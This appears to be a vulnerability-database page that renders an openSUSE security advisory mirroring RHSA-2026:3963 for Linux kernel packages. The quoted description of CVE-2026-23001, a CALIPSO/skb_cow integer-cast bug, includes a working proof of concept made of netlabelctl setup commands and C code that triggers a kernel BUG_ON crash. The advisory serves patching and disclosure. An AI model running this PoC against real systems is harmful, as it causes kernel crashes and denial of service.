RHSA-2026:3963
Vulnerability from csaf_opensuse - Published: 2026-03-09 00:00 - Updated: 2026-09-16 18:38Summary
security update for kernel
Severity
Moderate
Notes
Title of the patch: security update for kernel
Description of the patch: This security update provides a functional equivalent of RHSA-2026:3963.
The original Red Hat(R) advisory is available from the Red Hat web site at
https://access.redhat.com/errata/RHSA-2026:3963.
Patchnames: RHSA-2026:3963
Terms of use: CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).
7.5 (High)
Affected products
Recommended
20 products
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: SUSE Liberty Linux 8:bpftool-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-abi-stablelists-4.18.0-553.111.1.el8_10.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-core-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-cross-headers-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-debug-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-debug-core-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-debug-devel-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-debug-modules-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-debug-modules-extra-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-devel-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-doc-4.18.0-553.111.1.el8_10.noarch | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-headers-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-modules-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-modules-extra-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-tools-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-tools-libs-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:kernel-tools-libs-devel-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:perf-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: SUSE Liberty Linux 8:python3-perf-4.18.0-553.111.1.el8_10.x86_64 | — |
Vendor Fix
|
Threats
Impact
important
Affected products
Recommended
20 products, the same list as for
CVE-2025-71085
Threats
Impact
important
References
12 references
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"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()\n\nThere exists a kernel oops caused by a BUG_ON(nhead \u003c 0) at\nnet/core/skbuff.c:2232 in pskb_expand_head().\nThis bug is triggered as part of the calipso_skbuff_setattr()\nroutine when skb_cow() is passed headroom \u003e INT_MAX\n(i.e. (int)(skb_headroom(skb) + len_delta) \u003c 0).\n\nThe root cause of the bug is due to an implicit integer cast in\n__skb_cow(). The check (headroom \u003e skb_headroom(skb)) is meant to ensure\nthat delta = headroom - skb_headroom(skb) is never negative, otherwise\nwe will trigger a BUG_ON in pskb_expand_head(). However, if\nheadroom \u003e INT_MAX and delta \u003c= -NET_SKB_PAD, the check passes, delta\nbecomes negative, and pskb_expand_head() is passed a negative value for\nnhead.\n\nFix the trigger condition in calipso_skbuff_setattr(). Avoid passing\n\"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr()\nby only using skb_cow() to grow headroom.\n\nPoC:\n\tUsing `netlabelctl` tool:\n\n netlabelctl map del default\n netlabelctl calipso add pass doi:7\n netlabelctl map add default address:0::1/128 protocol:calipso,7\n\n Then run the following PoC:\n\n int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);\n\n // setup msghdr\n int cmsg_size = 2;\n int cmsg_len = 0x60;\n struct msghdr msg;\n struct sockaddr_in6 dest_addr;\n struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,\n sizeof(struct cmsghdr) + cmsg_len);\n msg.msg_name = \u0026dest_addr;\n msg.msg_namelen = sizeof(dest_addr);\n msg.msg_iov = NULL;\n msg.msg_iovlen = 0;\n msg.msg_control = cmsg;\n msg.msg_controllen = cmsg_len;\n msg.msg_flags = 0;\n\n // setup sockaddr\n dest_addr.sin6_family = AF_INET6;\n dest_addr.sin6_port = htons(31337);\n dest_addr.sin6_flowinfo = htonl(31337);\n dest_addr.sin6_addr = in6addr_loopback;\n dest_addr.sin6_scope_id = 31337;\n\n // setup cmsghdr\n cmsg-\u003ecmsg_len = cmsg_len;\n cmsg-\u003ecmsg_level = IPPROTO_IPV6;\n cmsg-\u003ecmsg_type = IPV6_HOPOPTS;\n char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);\n hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80\n\n sendmsg(fd, \u0026msg, 0);",
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"SUSE Liberty Linux 8:kernel-tools-4.18.0-553.111.1.el8_10.x86_64",
"SUSE Liberty Linux 8:kernel-tools-libs-4.18.0-553.111.1.el8_10.x86_64",
"SUSE Liberty Linux 8:kernel-tools-libs-devel-4.18.0-553.111.1.el8_10.x86_64",
"SUSE Liberty Linux 8:perf-4.18.0-553.111.1.el8_10.x86_64",
"SUSE Liberty Linux 8:python3-perf-4.18.0-553.111.1.el8_10.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-09T00:00:00Z",
"details": "important"
}
],
"title": "CVE-2026-23001"
}
]
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.
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